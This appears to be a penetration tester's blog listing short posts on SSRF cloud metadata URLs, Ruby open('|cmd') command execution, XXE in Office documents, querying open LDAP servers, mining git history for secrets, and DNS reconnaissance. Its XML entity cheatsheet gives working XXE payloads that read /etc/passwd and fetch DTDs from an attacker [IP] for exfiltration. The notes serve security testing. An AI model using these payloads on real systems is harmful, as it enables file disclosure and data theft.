Notes on Willis Vandevanter

Cloud Metadata URL List

Mon, 28 Mar 2016 00:00:00 +0000

I landed the SSRF Cloud Metadata technique in a few different scenarios recently. If you haven’t seen the talk BHUSA 2014 - Bringing a Machete to the Amazon I recommend it.

To make life a little easier created a living URL list for Metadata broken down by cloud. There are a few more than he discusses in the talk but still has work to go. Submit a PR if you see some missing.

https://gist.github.com/BuffaloWill/fa96693af67e3a3dd3fb

Simple Ruby Exec with Open and Pipe

Tue, 14 Apr 2015 00:00:00 +0000

I was researching something else and thought this was a cool way to execute a command through the open method in ruby:

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open("|[CMD]")

The key is starting the open with pipe. For example,

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open("|ls")

Or to exec and print the result in one line:

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open("|ls").each {|out| puts out }

Not sure where I saw it originally, but this is an interesting older read: https://devver.wordpress.com/2009/06/30/a-dozen-or-so-ways-to-start-sub-processes-in-ruby-part-1/

Exploiting XXE Vulnerabilities in OXML Documents - Part 1

Wed, 04 Mar 2015 00:00:00 +0000

OXML is a common document format; think docx (Microsoft Word Document), pptx (Microsoft Powerpoint), xlsx (Excel Spreadsheet), etc.

An OXML document is a zip file containing XML files and any media files. When the document is rendered, the rendering library unzips the document and then parses the containing XML files. The order the XML files are parsed and which files maintain precedence over the others is dependent on the type of document. The following link is from Microsoft on the XML structure in Office 2007 files: File format structure

I have had success in the past embedding XML External Entities into the XML files of a docx, the XXE is exploited when the document is parsed. An easy example of this would be in file upload functionality that allows docx, pptx, or xlsx. Facebook was found vulnerable to this exact scenario in December 2014; XXE Bug Patched in Facebook.

If you review the Microsoft link posted earlier you will see that each XML file plays a different role. I have found varying levels of success in which XML file I embed the XXE exploit into. To help out with this testing process I wrote a tool:

https://github.com/BuffaloWill/oxml_xxe

Keeping with 300 words or less I will stop here and pick up with oxml_xxe usage in the next blog post.

ldapsearch notes

Wed, 25 Feb 2015 00:00:00 +0000

I seem to find open LDAP servers on the Internet more often than I should. Here are some notes on using ldapsearch

Installing ldapsearch on Ubuntu

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apt-get install ldap-utils

Root-DSE object

nmap includes a script to gather info from a LDAP root-dse object (http://nmap.org/nsedoc/scripts/ldap-rootdse.html). We can also use ldapsearch to test:

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ldapsearch -p [PORT] -x -b "" -s base 'objectclass=*' -h [IP]

Open LDAP server

Connect to an open LDAP server, john the ripper can be used to crack passwords that are returned:

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ldapsearch -p [PORT] -x -h [IP] -b "dc=[y],dc=com"

Search all Github Repositories for an Organization

Fri, 09 Jan 2015 00:00:00 +0000

gumbler is a script I wrote to search through git commits and introduced in the blog post “Searching Through Git Commits”. Recently I wanted to run Gumbler across all repositories for an organization, the steps are discussed below.

First, we need to grab a list of repositories for the ORG. This can be done using the API

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curl "https://api.github.com/orgs/[ORG NAME]/repos?page=1&per_page=10000" > repos.json
curl "https://api.github.com/orgs/[ORG NAME]/repos?page=2&per_page=10000" >> repos.json
...

Note, the API limits the number of values returned so you will want to update the page count to make sure you get them all.

Next we iterate through each repository, clone it, and run gumbler across the repo. A simple Ruby script is given below. Note, ignore any repos that were forked as they aren’t specific to the orgnization.

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require 'json'

# specify repos.json as an argument
file = File.read(ARGV[0])

# parse the json
data_hash = JSON.parse(file)

# iterate each hash
data_hash.each do |hash|
 # ignore forked repos
 if !(hash["fork"])
 puts "|+| Testing #{hash["name"]}"
 
 # clone the project
 `git clone https://github.com/[ORG]/#{hash["name"]}.git`
 
 # Gumbler requires full directory paths
 `ruby ~/gumbler/gumbler.rb -s -p #{hash["name"]} ~/[ORG]/results/`

 sleep(3)
 end
end

Searching Through Git Commits

Mon, 06 Oct 2014 00:00:00 +0000

gumbler is a script I wrote to search through git commits. Examples from github are discussed below.

.gitignore

A gitignore file is used to specify files that should not be tracked by git (source gitignore). In the default case, gumbler will read the gitignore file for the project and search every revision for a case where a file from gitignore was committed. Possible use cases would be as a pen tester looking for reconnaisance data (e.g. developer usernames/passwords, staging hosts/services, etc.) or a developer to verify projects did not previously commit “secret” data.

I am a big fan of what Netflix is doing with regards to open source and security. After looking through a number of their projects, I noticied Priam has a few commits with non-damaging files from the gitignore.

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$. git clone https://github.com/Netflix/Priam.git
Cloning into 'Priam'...
....
Checking connectivity... done.
$. ruby gumbler/gumbler.rb Priam/ gumbler_testing/tmp/
|-| Jumping to remote @directory Priam/
|-| Storing every revision
checking for *.com..
checking for *.class..
.....
|+| Looking for .classpath, Found it in BRANCH : 697fd66aae9beed107e13f49a741455f1d9d8dd9 .classpath. Storing it in gumbler_testing/tmp/.
|+| Looking for .classpath, Found it in BRANCH : 47bdb537789c034493e94d8977eae77ecbfd5b24 .classpath. Storing it in gumbler_testing/tmp/.
|+| Looking for .classpath, Found it in BRANCH : 442862d4a8d4d18d0e176ded8795dd45a24528fc .classpath. Storing it in gumbler_testing/tmp/.
....
checking for .project..
|+| Looking for .project, Found it in BRANCH : 697fd66aae9beed107e13f49a741455f1d9d8dd9 .project. Storing it in gumbler_testing/tmp/.
|+| Looking for .project, Found it in BRANCH : 0941d9e0e0dda3ee1d9d4dda757d59ffb641abcf .project. Storing it in gumbler_testing/tmp/.
|+| Looking for .project, Found it in BRANCH : 47bdb537789c034493e94d8977eae77ecbfd5b24 .project. Storing it in gumbler_testing/tmp/.
....
checking for .settings..
....

.classpath or .project are not damaging in this case and, hence, are used as the example. On a pen test or in collaborative projects I have found much worse (cough usernames, passwords). This shouldn’t be that surprising.

Searching Commit Logs

Another use case for gumbler is to look through commit history. Using Ruby on Rails as an example, we can search from for any commit with “CVE” in it. Gumbler will output a diff from the files changed in the commit.

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$. ruby gumbler/gumbler.rb --grep CVE rails/ tmp/
|!| skipping .gitignore, searching commit log for CVE
$. ls tmp/
060c91cd59ab86583a8f2f52142960d3433f62f5-2012-05-30_15:13:03_-0700.diff 88cc1688d0cb828c17706b41a8bd27870f2a2beb-2013-01-08_12:11:18_-0800.diff
08d0a11a3f62718d601d39e617c834759cf59bbb-2014-02-18_15:38:50_-0300.diff 8be6913990c30f63618173da722148892348dcc9-2013-03-15_17:45:53_-0700.diff
0b58a7ff420d7ef4b643c521a62be7259dd2f5cb-2011-02-08_14:21:12_-0800.diff 8e577fe560d5756fcc67840ba304d79ada6804e4-2013-01-08_12:41:24_-0800.diff
0c7ac34aed1845044cd1911e5a775366d7ca41c1-2013-12-02_16:42:16_-0800.diff 9340f89849606dba02f44038171f3837f883fd4e-2012-05-30_15:09:13_-0700.diff
2392535f4085d88186097e3c23414e958fb1d16d-2013-03-18_10:17:32_-0700.diff 93fb4c1e62dc9605eecbfaffda2becc85890fa5f-2014-07-10_10:20:16_-0700.diff
...
$. cat 060c91cd59ab86583a8f2f52142960d3433f62f5-2012-05-30_15\:13\:03_-0700.diff 
060c91cd59ab86583a8f2f52142960d3433f62f5-2012-05-30 15:13:03 -0700==> 2012-05-30 15:13:03 -0700 Strip [nil] from parameters hash. Thanks to Ben Murphy for reporting this! Strip [nil] from parameters hash.
Thanks to Ben Murphy for reporting this!

CVE-2012-2660

:100644 100644 aa5ba3e... 6757a53... M actionpack/lib/action_dispatch/http/request.rb
:100644 100644 c3f009a... 6ea66f9... M actionpack/test/dispatch/request/query_string_parsing_test.rb

diff --git a/actionpack/lib/action_dispatch/http/request.rb b/actionpack/lib/action_dispatch/http/request.rb
index aa5ba3e..6757a53 100644
--- a/actionpack/lib/action_dispatch/http/request.rb
+++ b/actionpack/lib/action_dispatch/http/request.rb
....

As the README says, be careful using the tool as it uses Command Execution to search. A malicious git project could take advantage of this. Ping me with better ways to handle this.

XML Entity Cheatsheet

Wed, 03 Sep 2014 00:00:00 +0000

An XML Entity testing cheatsheet. Testing was done using an older vulnerable version of nokogiri. In IRB you can require previous versions of gems. Certain techniques (e.g. XInclude) may require additional settings in Nokogiri.

XML Headers:

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<?xml version="1.0" standalone="no"?>
<?xml version="1.0" standalone="yes"?>

Vanilla entity test:

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<!DOCTYPE root [<!ENTITY post "1">]><root>&post;</root>

SYSTEM entity test (xxe):

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<!DOCTYPE root [<!ENTITY post SYSTEM "file:///etc/passwd">]>
e.g.
doc = Nokogiri::XML("<!DOCTYPE root [ <!ENTITY spl SYSTEM \"file:///etc/passwd\"> ]>\n<a>&spl;</a>")
doc.children.children.children.text

Parameter Entity Test. One of the benefits is a paremeter entity is automatically expanded inside the DOCTYPE:

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<!DOCTYPE root [<!ENTITY % dtd SYSTEM "http://[IP]/some.dtd"><!ENTITY % a "test %dtd">]>
e.g.
options = Nokogiri::XML::ParseOptions::DTDATTR
doc = Nokogiri::XML::Document.parse("<!DOCTYPE test [<!ENTITY % dtd SYSTEM \"http://172.16.122.177/student.dtd\"><!ENTITY % a "test %dtd">]>\n<test>success</test>", nil, nil, options)
doc.children.text

Combined Entity and Parameter Entity:

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<!DOCTYPE root [<!ENTITY post SYSTEM "http://"><!ENTITY % dtd SYSTEM "http://[IP]/some.dtd"><!ENTITY % a "test %dtd">]><root>&post;</root>

XInclude:

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<document xmlns:xi="http://<IP>/XInclude"><footer><xi:include href="title.xml"/></footer></document>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/fstab" parse="text"/>

URL handler. This follows XML Entity - IBM I have not seen this work “in the wild”. Should be useful for exfiltration testing:

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<!DOCTYPE root [<!ENTITY c PUBLIC "-//W3C//TEXT copyright//EN" "http://[IP]/copyright.xml">]>

XML Schema Inline:

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<madeuptag xlmns="http://[ip]" xsi:schemaLocation="http://[IP]">
</madeuptag>

Remote XML Schema. Also, have not been able to get this to work:

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<!DOCTYPE root PUBLIC "abc/Catalog" "http://[IP]/catalog.dtd">

Useful Links:

IPv6 DNS Guessing Notes

Tue, 19 Aug 2014 00:00:00 +0000

A hostname with an IPv6 address is stored as a AAAA resource record in DNS (see AAAA record). There are many DNS hostname bruteforcing tools, personally I like Fierce. Suppose we have already run our hostname bruteforcing tool against a target domain (e.g. facebook.com). Below we use dig to do a AAAA record lookup for each hostname. Note, the DNS server we use matters. In this example we use 8.8.8.8, to confirm different results try using a.ns.facebook.com instead. Host can also be used instead of dig:

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$> cat fb_hosts.txt | while read line; do echo $line" Results:" && dig @8.8.8.8 +noall +answer AAAA $line && echo; done
mobile.facebook.com Results:

ipv6.facebook.com Results:

www.facebook.com Results:
www.facebook.com. 1903 IN CNAME star.c10r.facebook.com.
star.c10r.facebook.com. 30 IN AAAA 2a03:2880:f00b:900:face:b00c:0:1

An offline/quieter way is to use the DNS Record (ANY) set from the Internet-Wide Scan Data Repository done by Rapid7. Using facebook.com as an example again:

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$> pigz -dc 20140310_dnsrecords.gz | grep -i "\.facebook\.com" | grep AAAA

This didn’t turn up very many results but we can combine the two:

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$> pigz -dc 20140310_dnsrecords.gz | zgrep "\.facebook\.com" | grep ",A," | cut -d"," -f1 | while read line; do echo $line" Results:" && dig @8.8.8.8 +noall +answer AAAA $line && echo; done
...
z.c10r.facebook.com Results:
z.c10r.facebook.com. 59 IN AAAA 2a03:2880:f00b:305:face:b00c:0:1
...

You get the idea =). Not a new concept or technique, just wanted to put some notes in one place.